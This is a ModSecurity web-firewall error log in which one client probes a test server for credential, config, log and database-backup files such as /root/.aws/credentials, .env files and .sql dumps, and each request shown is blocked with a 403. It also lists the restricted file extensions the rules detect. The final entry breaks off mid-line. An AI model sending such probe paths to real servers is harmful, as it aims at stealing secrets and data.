[Sun Mar 22 01:06:07.800906 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBeQAAAAI&quot;]
[Sun Mar 22 01:06:07.822747 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBegAAAAI&quot;]
[Sun Mar 22 01:06:07.823146 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBegAAAAI&quot;]
[Sun Mar 22 01:06:07.823272 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBegAAAAI&quot;]
[Sun Mar 22 01:06:08.345960 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMExgAAAAg&quot;]
[Sun Mar 22 01:06:08.346378 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMExgAAAAg&quot;]
[Sun Mar 22 01:06:08.346519 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMExgAAAAg&quot;]
[Sun Mar 22 01:06:08.368516 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMExwAAAAg&quot;]
[Sun Mar 22 01:06:08.368911 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMExwAAAAg&quot;]
[Sun Mar 22 01:06:08.369054 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMExwAAAAg&quot;]
[Sun Mar 22 01:06:08.458950 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMEywAAAAg&quot;]
[Sun Mar 22 01:06:08.459350 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMEywAAAAg&quot;]
[Sun Mar 22 01:06:08.459488 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMEywAAAAg&quot;]
[Sun Mar 22 01:06:08.481504 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMEzAAAAAg&quot;]
[Sun Mar 22 01:06:08.481898 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMEzAAAAAg&quot;]
[Sun Mar 22 01:06:08.482061 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKMEzAAAAAg&quot;]
[Sun Mar 22 01:06:08.641170 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.cpanel/caches/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME0wAAAAg&quot;]
[Sun Mar 22 01:06:08.641396 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME0wAAAAg&quot;]
[Sun Mar 22 01:06:08.641574 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME0wAAAAg&quot;]
[Sun Mar 22 01:06:08.686168 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.bak&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME1QAAAAg&quot;]
[Sun Mar 22 01:06:08.686583 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.bak&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME1QAAAAg&quot;]
[Sun Mar 22 01:06:08.686735 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.bak&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME1QAAAAg&quot;]
[Sun Mar 22 01:06:08.708653 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME1gAAAAg&quot;]
[Sun Mar 22 01:06:08.709030 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME1gAAAAg&quot;]
[Sun Mar 22 01:06:08.709161 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME1gAAAAg&quot;]
[Sun Mar 22 01:06:08.776168 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.db_backup.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME2QAAAAg&quot;]
[Sun Mar 22 01:06:08.776560 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.db_backup.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME2QAAAAg&quot;]
[Sun Mar 22 01:06:08.776691 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.db_backup.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME2QAAAAg&quot;]
[Sun Mar 22 01:06:08.912832 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag 